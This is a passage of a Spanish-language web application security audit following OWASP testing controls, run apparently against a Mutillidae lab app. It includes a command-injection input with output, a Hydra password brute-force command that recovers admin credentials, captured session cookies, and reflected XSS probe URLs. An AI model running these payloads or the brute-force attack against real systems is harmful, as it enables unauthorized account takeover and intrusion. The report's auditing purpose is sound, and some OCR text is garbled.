http://www.shopathome.com/index.php?page=dns-lookup.php es vulnerable a
Command Injection. Se introduce el siguiente comando y se comprueba que se
muestra el resultado del comando ejecutado en la pagina:

&& ps aux

Who would you like to do a DNS loc

Enter IP or hostname

Hostname/P
[ Results for && ps aux
USER PID 3CPU IMEM VSI RSS TTY STAT START T COMMAND
root 1l 0.0 0.1 2800 1016 7 S8 11:23 0:00 /ebin/init
root 2 0.0 0.0 o o7 ) 11:23 0:00 [kthreadd]
root 3 0.0 0.0 o o7 ) 11:23 0:00 [migratien/0]
root 4 0.0 0.0 o o7 ) 11:23 0:00 [kseftirgd/0]
root 5 0.0 0.0 o o7 k) 11:23 0:00 [watehdog/ 0]
root 6 0.0 0.0 o o7 k) 11:23 0:06 [events/0]
root 7 0.0 0.0 o o7 k] 11:23 0:00 uset]
root & 0.0 0.0 o o7 k] 11:23 0:00 [khelper]
root % 0.0 0.0 o o7 k] 11:23 0:00 tns )
root 10 0.0 0.0 o 07 s 1123 0:00 [async/mgr]
root 11 0.0 0.0 o o Ed 11:23 0i00 [pm)]
root 12 0.0 0.0 0 07z 8 11:23  0:00 [syne_supers]
root 13 0.0 0.0 o oz & 11:23 0:00 [bdi-default)
root 14 0.0 0.0 o o7 5 11:23 0:00 [kintegrityd/0]
root 15 0.0 0.0 o o7 5 11:23 0:00 [kblockd/Q)
root 18 0.0 0.0 o o7 5 11:23 0:00 [haepid]
root 17 0.0 0.0 0 07 s 11:23  0:00 [kacpi_notify]
root 1§ 0.0 0.0 0 07 s 11:23  0:00 [kaepi_hetplug]
root 1% 0.0 0.0 o o7 ) 11:23 0:00 [ata/0)
root 0 0.0 0.0 o o7 ) 11:23 0:00 [ata_aux]
root 21 0.0 0.0 o o7 ) 11:23 0:00 [ksuspend ushd]
root 22 0.0 0.0 o o7 k) 11:23 0:00 [khubd)
root 23 0.0 0.0 o o7 k) 11:23 0:00 [kseriod]
root 24 0.0 0.0 o o7 k] 11:23 0:00 [kmmed)
root 27 0.0 0.0 o o7 k] 11:23 0:00 [khungtaskd]
root 28 0.0 0.0 o o7 k] 11:23 0:01 [kswapd0]
root 23 0.0 o7 L 11:23 0:00 Ikamdl

Ilustracion 6: Testin'g Command Injection

2.2.2 A2 - Pérdida de Autenticacion y Gestion de Sesiones

Las funciones de la aplicacion relacionadas a autenticacion y gestion de
sesiones son frecuentemente implementadas incorrectamente, permitiendo a
los atacantes comprometer contrasefas, claves, token de sesiones, o explotar
otras fallas de implementacién para asumir la identidad de otros usuarios.

Algunos puntos importantes a tener en cuenta que habria que comprobar:

e . Estan protegidos los activos de la gestién sesiones como credenciales
y los identificadores de sesion?

e Las credenciales de los usuarios no estan protegidas cuando se
almacenan utilizando hash o cifrado.
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e Se pueden adivinar o sobrescribir las credenciales a través de funciones
débiles de gestion de sesidn (creacion de usuarios, cambio de
contrasefias, recuperacion de contrasefias, ...).

e Los ID de sesion son vulnerables a ataques de fijacion de la sesion.

e Los ID de sesion de expiran o las sesiones de usuario o los tokens de
autenticacion. Los tokens de inicio de sesién (SSO), no son invalidados
durante el cierre de sesion.

e Los ID de sesiones no son rotados luego de una autenticacion.

e Las contrasefas, ID de sesion y otras credenciales son transmitidas a
través de canales no cifrados.

OTG-IDENT-001 Test Role Definitions
Descripcion

El objetivo de este control es validar los roles definidos en la aplicacion de
manera que sean capaces de gestionar adecuadamente el acceso a las
distintas funcionalidades ofrecidas e informacion del sistema.

Para validar este control es Gtil construir una matriz en la que se enumeren los
roles que pueden ser proporcionados, y se vaya explorando y anotando los
permisos que cuenta cada rol en los diferentes objetos incluidos en la web. Si
esta matriz no existe el auditor deberia de generar una y determinar si la matriz
satisface las politicas de acceso para la aplicacion.

Este control debera realizarse de forma manual, aunque puede ser Gtil contar
con un spider.

Pruebas realizadas

En la aplicacién objetivo de esta auditoria no se detecta la implementacién de
roles diferentes con varios niveles de autorizacion en la aplicacion.

OTG-IDENT-002 Test User Registration Process
Descripcién
Los objetivos de este control son:

e \erificar que los requerimientos de identificacion para el registro de
usuarios estan alineados con los requerimientos del negocio y la
seguridad.

1. ¢ Puede alguien registrarse?

2. ¢Son los registros vetados por una persona antes de proporcionar el
acceso? O los accesos son concedidos automaticamente?

¢,Puede la misma persona o identidad registrar multiples veces?

¢,Pueden los usuarios registrar diferentes roles o permisos?

¢, Qué prueba o identificacion es requerida para un registro satisfactorio?

¢, Son verificados los registros?

o0k w
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e \Validar el proceso de registro.

1. ¢ Puede la informacién de identificacion ser facilmente falsificada y olvidada?
2. ¢ Se puede manipular la identificacion proporcionada en el intercambio inicial
durante el proceso de registro?

Como herramientas se pueden usar proxies web.

Pruebas realizadas
Se prueba el registro de usuarios. Se crea el usuario con nombre “usuariol”.

o~

A‘Ax_ Switch to RESTful Web Service Version of this Page

[ Please choose your username, password and signature |

Username
Password Password Generator
Confirm Password

Signature l

llustracion 7: Testing User Registration Process

Se comprueba lo siguiente:

e Cualquiera puede registrarse en la pagina.

e Los registros no son validados por ninguna persona.

¢ La misma persona puede crear varias cuentas aunque no puede elegir el
rol del usuario.

e No hay ninguna prueba o identificacion implementada durante el
registro.

OTG-IDENT-003 Test Account Provisioning Process

Descripcién

En este control se verificara cuales son las cuentas que pueden proporcionar
otras cuentas y de qué tipo son éstas.

Se determinara los roles que son capaces de proporcionar usuarios y qué tipos
de cuentas se pueden proporcionar:

e (;Hay alguna verificacidn, investigacion de antecedentes y autorizacion
de solicitudes de aprovisionamiento?

e ¢ Hay alguna verificacion, proceder a la instruccion y autorizacion de
solicitudes de supresion de aprovisionamiento?
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e ;Puede un administrador crear cuentas de administradores o solo de
usuarios?

e ;Puede un administrador crear cuentas de usuarios con privilegios
mayor que el propio?

El control se comprobara manualmente aunque puede ser Util el uso de proxies
HTTP.

Pruebas realizadas

Se comprueba que cualquier usuario puede crear nuevas cuentas en el sitio
web y que no se realiza ninguna investigacion ni verificacion antes de
proporcionar el usuario.

OTG-IDENT-004 Testing for Account Enumeration and Guessable
User Account

Descripcion

Este control tiene como objetivo verificar si es posible recolectar nombres de
usuarios interactuando con la pagina web. Los nombres de usuarios pueden
ser utiles en ataques de fuerza bruta o de diccionario, en los que teniendo un
usuario solo seria necesario conseguir la contrasefia.

Mostrar un mensaje cuando se proporciona un usuario valido y otro diferente
cuando se proporciona uno invalido puede ser utilizado para enumerar los
usuarios de la aplicacion.

El test puede comprobar lo siguiente:
Mensajes HTTP de respuesta:

e Usuario valido / contrasefia valida.
e Usuario valido / contrasefia incorrecta.
e Usuario no existente.

Otras maneras de enumerar usuarios:

e Analizar los codigos de error recibidos en las paginas de login.

e Analizar las URLs y redirecciones.

¢ URIs recibidas.

e Analizar los titulos de las paginas web.

¢ Analizar los mensajes recibidos en una funcidon de recuperacion.

e Mensajes de error 404.

e Adivinar usuarios por patrones seguidos en la creacion de las cuentas
de usuario.
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Pruebas realizadas

Se comprueba que es posible la enumeracion de cuentas de usuario en la
aplicacion objetivo de esta auditoria ya que se proporciona un mensaje
diferente cuando se introduce un usuario incorrecto a cuando la contrasefia es
incorrecta.

Mensaje mostrado al introducir un usuario incorrecto:

Login

Q Help Me!

( Please sign-in ]

Username
Password

Dont have an account? Flease register here

llustracion 8: Testing Account Incorrect

Mensaje mostrado al introducir un usuario valido y contrasefia invalida:

Login

( Please sign-in |

Username admin
Password =~ [reeer

Dont have an account? Flease register here

llustracion 9: Testing Password Incorrect

OTG-IDENT-005 Testing for Weak or unforced username policy
Descripcion

Las cuentas de usuario a menudo tienen una estructura o patrén y es posible
adivinar facilmente los nombres de cuentas validos.

25



En este control se comprobara:

e Determinar la estructura de nombres de cuentas.

e Evaluar las respuestas de la aplicacion ante nombres de cuentas validas
e invalidas.

e Uso de diferentes respuestas ante la enumeracién nombres de cuentas
validas e invalidas.

e Uso de nombres de cuentas basadas en diccionarios para enumerar
nombres de cuentas.

Pruebas realizadas

Como se ha visto en el anterior control, la aplicacion muestra un mensaje
diferente al introducir usuario invalidos a cuando se introduce usuario validos y
contrasefa invalida. Esto se puede utilizar para enumerar usuarios.

Analizando el fichero http://www.shopathome.com/passwords/accounts.txt
publicado en la web, se observa que los identificadores de usuarios siguen el
mismo patrén, se construyen en la mayoria de los casos usando el nhombre
principal de la persona.

OTG-AUTHN-002 Testing for default credentials
Descripcién

En muchas ocasiones las contrasefias por defecto una vez instalada la
aplicacién o creada la cuenta no son actualizadas. Esto puede ser utilizado por
un atacante para ganar acceso al sistema.

Se comprobaré:

¢ Credenciales por defecto de aplicaciones comunes. Los fabricantes
usan unas credenciales determinadas conocidas por defecto. Si
conocemos el fabricante y el modelo podemos saber las contrasefas por
defecto asignadas por el fabricante. También se pueden deducir usando
nombres de usuarios comunes, nombres de usuarios relacionados con
la organizacién, contactos con los que hayamos mantenido
comunicacién, contrasefias en blanco, revisién del codigo fuente de la
pagina en busca de referencias a usuarios y contrasefias, usuarios o
contrasefias escritos en los comentarios de la aplicacion.

e Comprobar el uso de contraseilias por defecto al crear nuevas
cuentas. Buscar en la pagina de registro para intentar identificar algun
patrén en el formato, extrapolar en la aplicacion como los usuarios son
creados, determinar si el sistema genera contrasefias predecibles, si se
ha identificado el nombre de usuarios se podra realizar una fuerza bruta
de contrasefias, usar contrasefias en blanco o el nombre del usuario
como contrasefa para los usuarios conocidos.
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http://www.shopathome.com/passwords/accounts.txt

Herramientas:

e Burp Intruder

e THC Hydra
e Brutus
e Nikto 2

Pruebas realizadas

Se descarga un diccionario de contrasefas:
e http://downloads.skullsecurity.org/passwords/john.txt.bz2

Se realiza un ataque de diccionario para intentar obtener la contrasefa del
usuario admin:

# hydra -1 admin -P john.txt www.shopathome.com http-post-form "/index.php?
page=login.php:username="USER"&password="PASS~&login-php-submit-button=Login:Not Logged
In"

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service
organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-05-15 05:19:52

[DATA] max 16 tasks per 1 server, overall 64 tasks, 3107 login tries (l1:1/p:3107), ~3
tries per task

[DATA] attacking service http-post-form on port 80

[STATUS] 736.00 tries/min, 736 tries in 00:01h, 2371 todo in 00:04h, 16 active
[80][http-post-form] host: www.shopathome.com login: admin  password: admin

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2016-05-15 05:22:20

La contrasefia del usuario admin es admin.

Se demuestra que se usan contrasefias por defecto o comunes.

OTG-AUTHN-003 Testing for Weak lock out mechanism
Descripcidén

Comprobar si existe algin mecanismo para evitar un ataque de fuerza bruta de
contrasefias. Normalmente se deberia de bloquear la cuenta tras 3 o 5 intentos
fallidos y que sea desbloqueada pasado un periodo de tiempo, tras la
intervencién de un administrador u otro mecanismo de desbloqueo.

Los objetivos de este control son:

e Evaluar el mecanismo de bloqueo para mitigar ataques de fuerza bruta
de contrasefias.

e Evaluar la resistencia del mecanismo de desbloqueo a cuentas no
autorizadas.

Pruebas realizadas

Se comprueba por la prueba realizada en el control anterior que no hay un
mecanismo de bloqueo ante un ataque de fuerza bruta de contrasefas.
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http://downloads.skullsecurity.org/passwords/john.txt.bz2

OTG-AUTHN-004 Testing for bypassing authentication schema
Descripcidén

Algunos esquemas de autenticacion no estan implementados correctamente y
es posible saltarselos simplemente llamando directamente a paginas internas,
modificando parametros en la URL o mediante el robo de sesiones.

Algunas pruebas que se pueden realizar:

e Peticion directa a paginas.

e Modificacion de parametros.
e Prediccion del ID de sesion.
e Inyeccion SQL.

Herramientas:

e \WebScarab
o WebGoat
e OWASP Zed Attack Proxy (ZAP)

Pruebas realizadas

Como se ha comentado en el control de SQLi, el formulario de login es
vulnerable a SQLi y permite saltar el control de acceso.

OTG-AUTHN-005 Test remenber password funtionality
Descripcién

Chequear la funcionalidad de recordar contrasefia de los navegadores y las
paginas web. Las contrasefias se almacenaran por el navegador. Si un
atacante ganara acceso al navegador de la victima podria conseguir las
contrasenas almacenadas.

Se puede testear lo siguiente:

e Buscar passwords almacenadas en las cookies.

e Analizar los mecanismos de hashing.

e \Verificar que las credenciales solo se envian durante la fase de
autenticacion y no cada vez que se hace una peticion.

e Considerar otros campos sensibles.

Pruebas realizadas
Se detecta lo siguiente:

e Se ofrece la opcidén de guardar la contrasefia en el navegador.

e En las cookies se almacena el id de sesion.

e Las contrasefas se envian durante la fase de autenticacién, no cada vez
gue se hace una peticion.
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e Cuando el usuario se autentica se agregan nuevas cookies con el
nombre e identificador del usuario logado.

POST /index.php?page=login.php HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=login.php

Cookie: PHPSESSID=73j210a4j25721n138upttq2uk2; showhints=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

username=admin&password=admin&login-php-submit-button=Login

GET /index.php?popUpNotificationCode=AUl1 HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=login.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

OTG-AUTHN-006 Testing for Browser cache weakness
Descripciéon

En este control se analizard la informacién almacenada en el historial de
busqueda y en la caché del navegador y se comprobard que no se guarda
informacion sensible.

Pruebas realizadas

Tras navegar por la pagina se accede a la cache del navegador indroduciendo
en la barra de direcciones “about:.cache”. Se comprueba que se almacena lo
siguiente:

e Imagenes en formato pngy jpg.
¢ Ficheros Javascript.

e Ficheros css.

e Ficheros .inc.

En el historial se guardan los parametros de las urls:

http://www.shopathome.com/phpinfo.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
http://www.shopathome.com/index.php?page=password-generator.php&username=anonymous

OTG-AUTHN-007 Testing for weak password policy

Descripcion

En este control se determinara la resistencia de la aplicacion contra un ataque
de fuerza bruta usando un diccionario para adivinar las contrasefas, evaluando
la longitud, complejidad, reutilizacion y caducidad de las contrasefas.
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Comprobar:

e Caracteres permitidos para construir una contrasefa.

e Como de rapido puede un usuario cambiar su contrasefia.

e Cuando debe cambiar un usuario su contrasefa.

e Cada cuanto tiempo un usuario puede reutilizar su contrasefa.

e Como de diferente tiene que ser la siguiente contrasefia con respecto a
la anterior.

e Puede un usuario usar su hombre de usuario y otra informacién de la
cuenta en la contrasefia?

Pruebas realizadas

Se crea un usuario con la contrasefia en blanco y se detecta que no hay
establecida una politica de contrasefias seguras.

OTG-AUTHN-008 Testing for Weak security question/answer
Descripcién

A veces, a la hora de crear una cuenta, se requiere al usuario que seleccione
unas preguntas pregeneradas y proporcione una respuesta para, en el caso de
gue lo necesite, recuperar su contrasefia. Otras veces se le da la opcién de
generar sus propias preguntas y respuestas. Ambos métodos podrian ser

inseguros. Las preguntas y respuestas deberian ser solamente conocidas por
el usuario y por nadie mas.

Preguntas pregeneradas:

e Las preguntas pueden contener miembros de la familia o amigos
cercanos del usuario. “¢,Cual es la fecha de tu cumpleafios?”

e Las respuestas pueden ser facilmente adivinables. “¢Cudal es tu color
favorito?”

e Las respuestas pueden ser adivinadas facilmente por fuerza bruta.
¢, Cual es el nombre de tu profesora favorita del insituto?”

e Las respuestas pueden ser descubiertas por ser informacion que podria
estar publicada. “¢ Cual es tu pelicula favorita?”

Preguntas generadas por el usuario:

e Podrian generarse preguntas inseguras por ser muy faciles de resolver.
“.Cuantoes 1 + 1?” 0 “¢ Cual es tu nombre de usuario?”

Pruebas realizadas

Se comprueba que no hay implementado en la aplicacion web un mecanismo
de recuperacion de contrasefia mediante preguntas.
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OTG-AUTHN-009 Testing for weak password change or reset
functionalities

Descripcidén

e Determinar la resistencia de la funcionalidad de cambio de contrasefia
permitiendo a alguien cambiar la contrasefia de una cuenta.

e Determinar la resistencia de la funcionalidad de resetear la contrasefia
contra su adivinacion o bypass.

Pruebas realizadas
Se comprueba que la aplicacion no permite el cambio de contrasefia al usuario.

OTG-SESS-001 Testing for Bypassing Session Management
Schema

Descripcién

Para evitar continuas autenticaciones a cada pagina web o servicio, las
aplicaciones web utilizan mecanismos para almacenar y validar credenciales
para un periodo de tiempo prefijado. Estos mecanismos gestionan la sesion del
usuario y pueden ser explotados para obtener acceso a la cuenta del usuario
sin necesidad de proporcionar las credenciales.

Para la gestion de la sesion se usan las cookies, generadas por el servidor y
enviadas al cliente, identifican al usuario a través de multiples peticiones hasta
gue la cookie caduque o sea destruida. Los datos almacenados en la cookie
puede proporcionar al servidor gran cantidad de informacién sobre el usuario,
acciones realizadas, preferencias, etc.

En este control se chequeara la resistencia de la cookie a multiples ataques. El
objetivo es generar una cookie que sea considerada valida por la aplicacion y
pueda proporcionar acceso no autorizado.

e ;Son todas las directivas Set-Cookie etiquetados como Secure?

e ¢Alguna de las operaciones de la cookie se llevan a cabo sobre el
transporte sin cifrar?

e ¢ Puede la cookie de ser forzada sobre el transporte sin cifrar?

e Sies asi, ¢cOmo mantiene la aplicacion la seguridad?

e ;Hay cookies persistentes?

Pruebas realizadas
Se comprueba lo siguiente:

¢ No se utiliza la opciébn Secure para transmitir las cookies por canales
seguros.

e Las cookies se transportan por canales sin cifrar.

e La cookie de sesion mantiene su valor incluso cuando un usuario se
autentica correctamente en la aplicacion.
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OTG-SESS-002 Testing for Cookies attributes
Descripcidén

Usando un proxy o plugin del navegador, se recogeran las respuestas donde se
haya asignado una cookie por la aplicacién y se inspeccionara lo siguiente:

e Atributo Secure: las cookies que contengan informacién sensible o
sean tokens de sesion deberan siempre transmitirse por canales
seguros. El atributo Secure le dice al navegador que solo envie la cookie
si la peticion esta siendo enviada a través de un canal seguro como
HTTPS.

e Atributo HttpOnly: este atributo es usado para ayudar a prevenir
ataques como cross-site-scripting, y que la cookie no sea accedida
desde un script de cliente como Javascript. No todos los navegadores lo
soportan.

e Atributo Domain: verificar que el dominio se ha asignado
adecuadamente. Solo se debe establecer para el servidor que necesita
recibir la cookie.

e Atributo Path: asegurarse que este atributo se ha asignado
adecuadamente. Incluso si el atributo domain se asigna correctamente si
el Path se establece para el directorio raiz, entonces puede ser
vulnerable a las aplicaciones menos seguras en el mismo servidor.

e Atributo Expire: si este atributo se asigna a un momento en el futuro
comprobar que la cookie no contiene informacion sensible.

Pruebas realizadas

En las pruebas realizadas no se detecta el uso de los atributos de las cookies
indicados anteriormente. En la siguiente peticion se usa la variable de sesion
PHPSESSID que viaja a través de HTTP sin cifrar.

GET / HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 10 Apr 2016 17:38:45 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1ubuntu4.30

Set-Cookie: PHPSESSID=v6isbpaealme5djait6918pui2; path=/

Set-Cookie: showhints=1

Logged-In-User:

Vary: Accept-Encoding

Content-Length: 45635

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

La siguiente peticion y respuesta corresponde a una autenticacion de un
usuario. Las credenciales viajan en el cuerpo en texto claro.
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POST /index.php?page=login.php HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=login.php

Cookie: PHPSESSID=v6isbpaealme5djait6918pui2; showhints=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 68

username=usuario&password=contrase%Fla&login-php-submit-button=Login

HTTP/1.1 200 OK

Date: Sun, 10 Apr 2016 21:34:44 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1lubuntu4.30

Logged-In-User: admin

Vary: Accept-Encoding

Content-Length: 50380

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

OTG-SESS-003 Testing for Session Fixation
Descripcidén

Cuando una aplicacion no renueva la cookie de sesion después de una
autenticacion de usuario exitosa, podria ser vulnerable a un ataque de fijacion
de la sesion, ya que se podria usar una cookie conocida por el atacante.

Pruebas realizadas
Se detecta lo siguiente:

¢ No se obliga a que la cookie vaya por un canal cifrado.

e La cookie de sesidn no se renueva.

e La cookie de sesidn no se renueva tras una autenticacion exitosa de un
usuario. Las pruebas que evidencian esto se pueden ver en el siguiente
control.

OTG-SESS-004 Testing for Exposed Session Variables
Descripcion

Si los tokens de sesion se exponen podrian permitir a un atacante hacerse
pasar por una victima y acceder a la aplicacion de forma ilegitima. Es
importante que se protejan en todo momento, especialmente durante el transito
entre el cliente y el servidor.

Hay que tener en cuenta que si hay un elemento en el sitio donde el usuario

realiza un seguimiento con ID de sesidn pero la seguridad no esta presente, es
esencial que se utilice un identificador de sesion diferente.
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Pruebas realizadas

Se detecta que el identificador de sesidon se envia por un canal no cifrado, el
acceso a esta informacién podria permitir a un atacante.

Al autenticarse un wusuario se asigna una nuevas cookies, “uid=1" vy
“username=admin” en el caso del usuario admin. En cada peticiébn se envian
estas cookies.

Se observa también que el id de sesidn no cambia tras la autenticacion en la
pagina.

POST /index.php?page=login.php HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=login.php

Cookie: PHPSESSID=7j21l0a4j25721n138upttq2uk2; showhints=1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

username=admin&password=admin&login-php-submit-button=Login

HTTP/1.1 302 Found

Date: Sun, 10 Apr 2016 17:02:33 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1ubuntu4.30

Set-Cookie: username=admin

Set-Cookie: uid=1

Location: index.php?popUpNotificationCode=AUl

Logged-In-User: admin

Vary: Accept-Encoding

Content-Length: 50380

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

GET /index.php?popUpNotificationCode=AUl HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=login.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

HTTP/1.1 200 OK

Date: Sun, 10 Apr 2016 17:02:36 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

X-Powered-By: PHP/5.3.2-1lubuntu4.30

Logged-In-User: admin

Vary: Accept-Encoding

Content-Length: 46123

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html
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OTG-SESS-006 Testing for logout functionality
Descripcién

La terminacion de la sesion es una parte importante del ciclo de vida de la
sesion. Reduciendo al minimo el tiempo de vida de los tokens de sesion
disminuimos la probabilidad de sufrir un ataque exitoso de robo de sesion.

Se comprobara lo siguiente:
Botdn de logout:

e Todas las paginas deberian de contener un botén de logout.

e El botdn de logout deberia de ser identificado rapidamente.

e Después de cargar la pagina el boton de logout deberia de ser visible sin
scrolling.

Terminacion de sesién en el lado del servidor:

e Comprobar si los token se mantienen activos después de crearse
nuevos valores y si es posible reusarlos.

Timeout de sesion:

e Una aplicacion web deberia de terminar la sesion automaticamente en el
lado del servidor después de un tiempo.

Terminacion de sesion en un entorno single-sign-on:

e Un entorno SSO causa la coexistencia de multiples sesiones las cuales
tienen que ser terminadas de forma separada.

Pruebas realizadas
Se detecta lo siguiente:

e El botdn de logout esta presente en todas las paginas del sitio web.

e El boton de logout se identifica facilmente, se encuentra entre las
opciones del menu superior.

e La sesion no se termina después de un tiempo.

e« OWASP Mutillidae II: \
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Source File Name

llustracion 10: Testing for logout functionality



OTG-SESS-007 Test Session Timeout

Descripcidén

Comprobar la implementacion de un timeout de sesiones. El timeout define la
cantidad de tiempo que una sesion se mantendriq activa en caso de no
detectarse actividad.

Pruebas realizadas

No se detectan opciones en las cabeceras para la expiracion de las sesiones.

GET /javascript/ddsmoothmenu/ddsmoothmenu.js HTTP/1.1

Host: www.shopathome.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9; rv:35.0) Gecko/20100101
Firefox/35.0

Accept: */*

Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.shopathome.com/index.php?page=source-viewer.php

Cookie: PHPSESSID=7j210a4j25721n138upttq2uk2; showhints=1; username=admin; uid=1
Connection: keep-alive

HTTP/1.1 404 Not Found

Date: Sun, 10 Apr 2016 17:23:08 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1lubuntu4.30 with Suhosin-Patch
proxy html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod ssl/2.2.14 OpenSSL/0.9.8k
Phusion Passenger/4.0.38 mod perl/2.0.4 Perl/v5.10.1

Vary: Accept-Encoding

Content-Length: 237

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=iso0-8859-1

2.2.3 A3 - Secuencia de Comandos en Sitios Cruzados (XSS)

Las fallas XSS ocurren cada vez que una aplicacion toma datos no confiables y
los envia al navegador web sin una validacion y codificacion apropiada. XSS
permite a los atacantes ejecutar una secuencia de comandos en el navegador
de la victima, los cuales pueden secuestrar las sesiones de usuario, destruir
sitios web, o dirigir al usuario hacia un sitio malicioso.

e NoO se asegura que todas las entradas de datos ingresadas por los
usuarios son codificadas adecuadamente; o si no se verifica en el

momento de ingreso que los datos sean seguros antes de ser incluidos
en la pagina de salida.

e Mediante el uso de herramientas automatizadas se pueden identificar
ciertas vulnerabilidades XSS. Aunque una cobertura completa requiere,
ademas de enfoques automaticos, una combinacion de técnicas como la
revision manual de codigo y de pruebas de penetracion.

OTG-INPVAL-001 Testing for Reflected Cross Site Scripting
Descripcion

Un ataque XSS reflejado ocurre cuando un atacante inyecta codigo ejecutable
en un navegador a través de una respuesta HTTP. El cédigo inyectado no se
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almacena en la aplicacidon, no es persistente, y solo impacta a los usuario que
abren el link malicioso.

El codigo que se inyecta es cédigo JavaScript y se ejecuta en el navegador del
cliente directamente. Para evadir las medidas de proteccion se suelen usar la
codificacion del cédigo inyectado.

Herramientas:

e OWASP CAL9000

e PHP Charset Encoder (PCE)

e HackVector

e \WebScarab

e XSS-Proxy

e ratproxy

e Burp proxy

e OWASP Zed Attack Proxy (ZAP)

e OWASP Xenotix XSS Exploit Framework
e \Vega

Pruebas realizadas

La herramienta Vega detecta varias entradas vulnerables a XSS en la
aplicacion auditada:

GET /7?page=credits.php.htaccess.aspx--">"'>

GET /includes/pop-up-help-context-generator.php?pagename=/owaspbwa/mutillidae-
git/home.php'%20--">"'>""

GET /index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-
Mutillidae-over-Virtual-Box-network.php--">'>""

GET /index.php?page=view-user-privilege-level.phpvbscript:-
-">'>""&iv=6bc24fclab650b25b4114e93a98fleba

GET /index.php?page=styling-frame.php&page-to-frame=styling.php%3Fpage-title=Styling
%20with%20Mutillidae--»">"'>""

GET /index.php?page=view-user-privilege-
level.php&iv=6bc24fclab650b25b4114e93a98fleba"%200nMouselver=--">"'>""

GET /index.php?page=password-generator.php&username=anonymous--">"'>""

GET /index.php?page=redirectandlog.php&forwardurl=https://addons.mozilla.org/en-

US/firefox/collections/jdruin/pro-web-developer-qga-pack/--">"'>

